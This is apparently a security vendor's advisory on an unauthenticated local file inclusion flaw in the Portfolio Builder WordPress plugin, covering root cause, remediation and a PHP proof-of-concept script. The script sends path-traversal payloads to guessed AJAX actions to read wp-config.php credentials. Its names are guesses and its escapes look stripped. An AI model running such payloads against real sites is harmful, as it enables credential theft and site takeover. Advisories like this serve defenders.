Atomic Edge analysis of CVE-2025-69375 (metadata-based):
This vulnerability is an unauthenticated Local File Inclusion (LFI) in the Portfolio Builder WordPress plugin (swp-portfolio) up to version 1.2.5. The flaw allows attackers to include arbitrary files from the server’s filesystem, leading to remote code execution. The CVSS score of 8.1 reflects a high-impact attack that is network exploitable.
Atomic Edge research infers the root cause is CWE-98, Improper Control of Filename for Include/Require Statement. The plugin likely uses a user-supplied parameter to dynamically construct a file path for a PHP include, require, or similar function without proper validation. The description confirms the attacker controls the filename input. This conclusion is inferred from the CWE classification and the public description, as no source code diff is available for confirmation.
Exploitation likely involves sending a crafted HTTP request to a plugin-specific endpoint. A common pattern for such vulnerabilities in WordPress is an AJAX handler registered without proper capability checks. An attacker would send a request to `/wp-admin/admin-ajax.php` with an `action` parameter matching a plugin hook (e.g., `swp_portfolio_action`). The request would include a parameter, perhaps named `file` or `template`, containing a path traversal payload like `../../../../wp-config.php` or a path to an uploaded file containing PHP code.
Effective remediation requires implementing strict validation and sanitization on any user input used in file inclusion operations. The fix should restrict included files to a predefined allowlist or sanitize the input to prevent directory traversal sequences (`../`). The plugin must also enforce proper authentication and authorization checks on the affected endpoint. These measures are standard for addressing CWE-98.
Successful exploitation grants an attacker the ability to read sensitive files, such as `wp-config.php` containing database credentials. If the attacker can upload a file with a benign extension (like an image) that contains PHP code, they can include it to achieve arbitrary code execution. This results in full compromise of the WordPress site, enabling data theft, backdoor installation, and server access.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69375 - Portfolio Builder <= 1.2.5 - Unauthenticated Local File Inclusion
<?php
/**
* Proof of Concept for CVE-2025-69375.
* This script attempts to exploit an unauthenticated Local File Inclusion vulnerability.
* The exact endpoint and parameter name are inferred from common WordPress plugin patterns.
* Assumptions:
* 1. The vulnerable endpoint is `/wp-admin/admin-ajax.php`.
* 2. The AJAX action hook contains the plugin slug 'swp_portfolio'.
* 3. A user-controlled parameter (here named 'file_param') is used unsafely in an include statement.
*/
$target_url = 'http://target-site.com'; // CHANGE THIS
// Construct the likely AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Common AJAX action names for this plugin. The correct one must be discovered.
$possible_actions = ['swp_portfolio_load', 'swp_portfolio_ajax', 'portfolio_builder_action'];
// Payload to read the WordPress configuration file
$lfi_payload = '../../../wp-config.php'; // Adjust traversal depth as needed
$exploited = false;
foreach ($possible_actions as $action) {
$post_data = [
'action' => $action,
// The parameter name is unknown; common candidates are used.
'file' => $lfi_payload,
'template' => $lfi_payload,
'include' => $lfi_payload
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Useful for debugging
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && (strpos($response, 'DB_NAME') !== false || strpos($response, 'define(') !== false)) {
echo "[+] Potential success with action: $actionn";
echo "[+] Response snippet:n";
echo substr($response, -500) . "n";
$exploited = true;
break;
} else {
echo "[-] Attempt with action '$action' returned HTTP $http_code (no clear success).n";
}
}
if (!$exploited) {
echo "[!] PoC did not automatically succeed. Manual parameter/action fuzzing may be required.n";
}
?>
